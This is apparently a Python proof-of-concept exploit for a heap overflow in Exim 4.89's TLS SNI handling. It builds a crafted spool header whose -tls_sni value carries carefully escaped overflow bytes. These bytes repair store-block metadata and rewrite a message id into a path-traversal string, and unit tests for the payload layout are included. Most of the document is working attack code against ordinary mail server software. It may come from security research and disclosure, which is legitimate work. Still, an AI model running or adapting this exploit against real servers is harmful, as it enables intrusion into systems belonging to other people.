README.md
Rendering markdown...
#!/usr/bin/env python3
import logging
import math
import unittest
import struct
import sys
class Fix:
def __init__(self, offset, value, length):
self.offset = offset # Real offset starting from original buffer
self.ioffset = None # Offset of fix starting from self.iteration
self.poffset = None # Offset of fix in original buffer
self.value = value
self.length = length
self.iteration = None # Iteration at witch this fix will be valid (i.e. not escaped)
def discarded_size_at_iteration(self, i):
if i >= self.iteration:
# Nothing should be escaped anymore, so no bytes are discarded
return 0
elif i == self.iteration - 1:
# On second to last iteration hexadecimal is unescaped
# so '\x23' is converted to a single byte giving a 4 to 1 reduction
return self.length * 3
else:
# On all preceding iteration only '\\' are escaped
# for example '\\\\x23' is converted to '\\x23'
# so only 1 byte is unescaped per remaining iteration
return ((2 ** (self.iteration - i - 1)) - 2 ** (self.iteration - i - 2)) * self.length
def has_nul_byte(self):
has_nul_byte = False
value = self.value
for _ in range(self.length):
byte = value % 256
value //= 256
if byte == 0:
has_nul_byte = True
return has_nul_byte
def plength(self):
if self.iteration == 0:
return self.length
else:
return self.length * 3 + self.length * (2 ** (self.iteration - 1))
def apply(self, payload):
str_value = ""
value = self.value
for _ in range(self.length):
byte = value % 256
value //= 256
if self.iteration > 0:
escape = "\\" * (2 ** (self.iteration - 1))
str_value += escape + f"x{byte:02x}"
else:
str_value = chr(byte)
return payload[:self.poffset] + str_value + payload[self.poffset + len(str_value):]
def __repr__(self):
return f"Fix(0x{self.offset:x}, 0x{self.value:x}, {self.length})"
class Overflow:
def __init__(self, buflen, fill):
assert(buflen % 8 == 0)
self.fill = fill
self.buflen = buflen
self.repeat = None
self.fixes = []
def fix(self, offset, value, length):
self.fixes.append(Fix(offset, value, length))
def spread(self, repeat):
fixes = sorted(self.fixes, key=lambda fix: fix.offset)
remaining_fixes = [fix for fix in fixes]
applied_fixes = []
# We keep each fix.iteration since they are the most accurate we currently have
current_buflen = self.buflen
p = 0
for i in range(repeat):
p += current_buflen
for fix in remaining_fixes:
if fix.offset < p:
fix.iteration = i
fix.ioffset = fix.offset - (p - current_buflen)
applied_fixes.append(fix)
elif fix.iteration == i:
# Fix iteration has been wrongly calculated at previous step
fix.iteration += 1
remaining_fixes = [fix for fix in fixes if fix.offset > p]
logging.debug(f"Total repetition: {repeat}, current iteration: {i}, SNI length {current_buflen:x}")
logging.debug("Applied fixes:")
logging.debug(applied_fixes)
logging.debug("Remainging fixes:")
logging.debug(remaining_fixes)
# Unescape each fix
reduction = sum([fix.discarded_size_at_iteration(i) for fix in remaining_fixes])
logging.debug(f"Fixes reduction: {reduction}")
current_buflen -= reduction
# Unescape overflow
reduction = 0
if (repeat - i) > 3:
# Compute difference between number of escape at this step and at next step
reduction = 2 ** (repeat - i - 3) - 2 ** (repeat - i - 3 - 1)
elif (repeat - i) == 3:
reduction = 1
logging.debug(f"Reduction: {reduction}")
current_buflen -= reduction
return applied_fixes
def layout(self):
# Initial guess is that all fixes will be applied on first iteration
repeat = 0
for fix in self.fixes:
fix.iteration = 0
applied_fixes = []
while len(applied_fixes) < len(self.fixes):
applied_fixes = self.spread(repeat)
repeat += 1
self.repeat = repeat - 1
logging.info(f"Overflow repeat: {self.repeat}")
assert(self.repeat is not None)
# Ensure choosen repetition is applied
applied_fixes = self.spread(self.repeat)
assert(len(applied_fixes) == len(self.fixes))
last = None
applied_fixes = []
for fix in sorted(self.fixes, key=lambda fix: fix.ioffset):
reduction = sum([sum([applied.discarded_size_at_iteration(i) for i in range(fix.iteration)]) for applied in applied_fixes])
logging.debug(f"{fix} reduction: {reduction}")
fix.poffset = fix.ioffset + reduction
if last is not None and last.poffset + last.plength() > fix.poffset: #MTA
raise ValueError(f"{last} overlaps on targeted offset of {fix}")
logging.info(f"{fix} applied from 0x{fix.poffset:x} to 0x{fix.poffset + fix.plength():x} of payload targeting iteration {fix.iteration} with offset 0x{fix.ioffset:x}")
applied_fixes.append(fix)
last = fix
prev = None
for fix in sorted(self.fixes, key=lambda fix: fix.poffset):
if prev is not None:
if prev.has_nul_byte():
if fix.iteration > prev.iteration + 1:
raise ValueError(f"Can't reach iteration {fix.iteration} for {fix} because {prev} contains nul bytes and is written before")
elif fix.iteration == prev.iteration + 1 and fix.poffset > prev.poffset:
raise ValueError(f"Can't write {fix} because {prev} contains nul bytes and is written before")
prev = fix
def payload(self):
payload = self.fill * math.ceil(self.buflen / len(self.fill))
assert(len(payload) >= self.buflen)
# Put as much \ as repetition requires
# 2 repetitions means buffer is copied once so no exploit is required
# 3 repetitions means buffer is copied twice so exploit is required and then 1 '\' is required
# 4 repetetions means buffer is copied thrice so exploit is required and then '\' must be escaped
if self.repeat > 3:
escape = "\\" * (2 ** (self.repeat - 3)) + "\\"
elif self.repeat == 3:
escape = "\\"
else:
escape = ""
# avoiding filling last byte because it will be '\0' once sent
payload = payload[:self.buflen - 1 - len(escape)] + escape
for fix in self.fixes:
payload = fix.apply(payload)
return payload
def sni():
current_block_length = 0x2000
sni_offset = 0x68
remaining_space = current_block_length - sni_offset
# Original SNI and its copy must fit in the current Store block and SNI must be 8 aligned
# In order to trigger the vulnerability
original_sni_length = 8 * (remaining_space // 2 // 8)
logging.info(f"Original SNI length: {original_sni_length:x}")
overflow = Overflow(original_sni_length, "a")
# fix store-block next pointer
overflow.fix(remaining_space + 0x28 + 0x00, 0x0000000000000000, 8)
# fix store-block length
overflow.fix(remaining_space + 0x28 + 0x08, 0x0000000000002000, 8)
# corrupt id
overflow.fix(remaining_space + 0x28 + 0x19, 0x2e2e2f2e2e2f2e2e, 8)
overflow.fix(remaining_space + 0x28 + 0x19 + 0x08, 0x742f2e2e2f2e2e2f, 8)
overflow.fix(remaining_space + 0x28 + 0x19 + 0x10, 0x0065746f742f706d, 8)
overflow.layout()
payload = overflow.payload()
return payload
def main():
id = "1i7Jgy-baaaad-Pb"
sys.stdout.write(id + "-H\n")
sys.stdout.write("Debian-exim 105 109\n")
sys.stdout.write("<[email protected]>\n")
sys.stdout.write("1569679277 0\n")
sys.stdout.write("-received_time_usec .793865\n")
sys.stdout.write("-helo_name " + "b" * 0x2fd0 + "\n")
sys.stdout.write("-host_address 192.168.122.1.45170\n")
sys.stdout.write("-interface_address 192.168.122.244.25\n")
sys.stdout.write("-received_protocol esmtps\n")
sys.stdout.write("-body_linecount 3\n")
sys.stdout.write("-max_received_linelength 25\n")
sys.stdout.write("-deliver_firsttime\n")
sys.stdout.write("-host_lookup_failed\n")
sys.stdout.write("-tls_cipher TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256\n")
sys.stdout.write("-tls_sni " + sni() + "\n")
sys.stdout.write("-tls_ourcert -----BEGIN CERTIFICATE-----\\nMIIC0jCCAboCCQDswnUq91Uj1zANBgkqhkiG9w0BAQsFADArMQswCQYDVQQGEwJV\\nUzEcMBoGA1UEAwwTc3RyZXRjaC5leGFtcGxlLm9yZzAeFw0xOTA5MTkxMzQ5MTBa\\nFw0yMjA5MTgxMzQ5MTBaMCsxCzAJBgNVBAYTAlVTMRwwGgYDVQQDDBNzdHJldGNo\\nLmV4YW1wbGUub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxc8m\\nNTICLprToAFsrmj32SduD3QvYMPvyB9SsnQte8ETkZ4+BDcb/ChS3GuGWW5bpjCE\\ntMSQIqVBs6yh0OcvG+LSmb+zh0Eomt9SsdYjh7afsZYtL6s6Uz+Cs9NC6f0mn0wh\\nRcM/Lr2cogfcTTSF91Wiu8JcYzHlh6U/4ltNebO5XhYOMe+Y4jOgJDarIixPe3LG\\n3pn0dXYGQMDoYae0xtRYE2uIwULuS2fPwywuMDkR64Jnbuk4a0MDaQFUL/qub6LL\\njiIyUu6bm4Yucb+dtDjKNnqMBIxfQZPMnzYDWBdA6/eNMnVesafC1oAiO7NnxWLJ\\nKllxgvXEEfP1cmdnxQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQCsQO7zTQi6o8iD\\nS0gUe+mzurJ19/Afio/DFyw9pnsMEwQFj5jsofSLBDLGIY3L1Gmo3Ch/SEjV+N8M\\noBNshAGBNpyOEuedNq7Ly9Ou749iS1HAbJ98eR0MB4VHCrJbrDqo4Df2CdbMI/2j\\n3lxSI/KqMP8d4XFE+0eFvJd6jP2Wl8DA1k8SMQVU9ivZNYO/x/SqDqeSbABQyq+t\\ncQkitKXJRz4u2ur+xSx8WHiRA8y6GneKID6tZRUZ9R4Mn0GoT0O9TERgA9jStbLZ\\ncSuOYpN/UIuKuK9Djy8ciPmEIQ8d+M/r0rgHLeRr03T1/8FA3VstD6Dc+5/O7IRN\\n+BiTRzS0\\n-----END CERTIFICATE-----\\n\n")
sys.stdout.write("XX\n")
sys.stdout.write("1\n")
sys.stdout.write("[email protected]\n")
sys.stdout.write("\n")
sys.stdout.write("232P Received: from [192.168.122.1] (helo=test)\n")
sys.stdout.write(" by strech with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)\n")
sys.stdout.write(" (Exim 4.89)\n")
sys.stdout.write(" (envelope-from <[email protected]>)\n")
sys.stdout.write(" id " + id + "\n")
sys.stdout.write(" for [email protected]; Sat, 28 Sep 2019 10:01:17 -0400\n")
sys.stdout.write("026 Subject: I'm playing with your POC\n")
sys.stdout.write("039I Message-Id: <E" + id + "@synacktiv.com>\n")
sys.stdout.write("022F From: [email protected]\n")
sys.stdout.write("038 Date: Sat, 28 Sep 2019 10:01:17 -0400\n")
if __name__ == "__main__":
logging.basicConfig(level=logging.INFO)
main()
class TestOverflow(unittest.TestCase):
def test_single_fix(self):
overflow = Overflow(0x1000, "a")
overflow.fix(0x1010, 0x4242, 2)
overflow.layout()
self.assertEqual(overflow.repeat, 2)
self.assertEqual(overflow.fixes[0].iteration, 1)
self.assertEqual(overflow.fixes[0].ioffset, 0x10)
self.assertEqual(overflow.fixes[0].poffset, 0x10)
def test_double_fix(self):
overflow = Overflow(0x1000, "a")
overflow.fix(0x1010, 0x4141, 2)
overflow.fix(0x2030, 0x4242, 2)
overflow.layout()
self.assertEqual(overflow.repeat, 3)
self.assertEqual(overflow.fixes[0].iteration, 1)
self.assertEqual(overflow.fixes[0].ioffset, 0x10)
self.assertEqual(overflow.fixes[0].poffset, 0x10)
self.assertEqual(overflow.fixes[1].iteration, 2)
self.assertEqual(overflow.fixes[1].ioffset, 0x39)
self.assertEqual(overflow.fixes[1].poffset, 0x3f)
def test_triple_fix_on_3_iteration(self):
overflow = Overflow(0x1000, "a")
overflow.fix(0x1010, 0x41, 2)
overflow.fix(0x1030, 0x4242, 2)
overflow.fix(0x2030, 0x4242, 2)
overflow.layout()
self.assertEqual(overflow.repeat, 3)
self.assertEqual(overflow.fixes[0].iteration, 1)
self.assertEqual(overflow.fixes[0].ioffset, 0x10)
self.assertEqual(overflow.fixes[0].poffset, 0x10)
self.assertEqual(overflow.fixes[1].iteration, 1)
self.assertEqual(overflow.fixes[1].ioffset, 0x30)
self.assertEqual(overflow.fixes[1].poffset, 0x36)
self.assertEqual(overflow.fixes[2].iteration, 2)
self.assertEqual(overflow.fixes[2].ioffset, 0x3f)
self.assertEqual(overflow.fixes[2].poffset, 0x4b)
def test_fix_change_iteration(self):
overflow = Overflow(0x1000, "a")
overflow.fix(0x1010, 0x4141, 2)
overflow.fix(0x1030, 0x4242, 2)
overflow.fix(0x2ffe, 0x4242, 2)
overflow.layout()
self.assertEqual(overflow.repeat, 4)
self.assertEqual(overflow.fixes[0].iteration, 1)
self.assertEqual(overflow.fixes[0].ioffset, 0x10)
self.assertEqual(overflow.fixes[0].poffset, 0x10)
self.assertEqual(overflow.fixes[1].iteration, 1)
self.assertEqual(overflow.fixes[1].ioffset, 0x30)
self.assertEqual(overflow.fixes[1].poffset, 0x3a)
self.assertEqual(overflow.fixes[2].iteration, 3)
self.assertEqual(overflow.fixes[2].ioffset, 0x23)
self.assertEqual(overflow.fixes[2].poffset, 0x29)
def test_escape_for_exploit_is_correct(self):
overflow = Overflow(8, "a")
overflow.repeat = 1
self.assertEqual(overflow.payload(), "aaaaaaa")
overflow.repeat = 2
self.assertEqual(overflow.payload(), "aaaaaaa")
overflow.repeat = 3
self.assertEqual(overflow.payload(), "aaaaaa\\")
overflow.repeat = 4
self.assertEqual(overflow.payload(), "aaaa\\\\\\")
overflow.repeat = 5
self.assertEqual(overflow.payload(), "aa\\\\\\\\\\")
class TestFix(unittest.TestCase):
def test_fix_discard_at_iteration(self):
"""Test Fix discarded chars at given iteration are computed correctly"""
fix = Fix(0x1000, 0x4242, 2)
fix.iteration = 4
self.assertEqual(fix.discarded_size_at_iteration(0), 8)
self.assertEqual(fix.discarded_size_at_iteration(1), 4)
self.assertEqual(fix.discarded_size_at_iteration(2), 2)
self.assertEqual(fix.discarded_size_at_iteration(3), 6)
self.assertEqual(fix.discarded_size_at_iteration(4), 0)
def test_fix_plength(self):
""" Ensure Fix.plength() is computed correctly.
"\\\\x23\\\\x24" -> "\\x23\\x24" -> "\x23\x24" -> 0x2324 """
fix = Fix(0x1000, 0x2324, 2)
fix.iteration = 3
self.assertEqual(fix.plength(), 14)
fix.iteration = 4
self.assertEqual(fix.plength(), 22)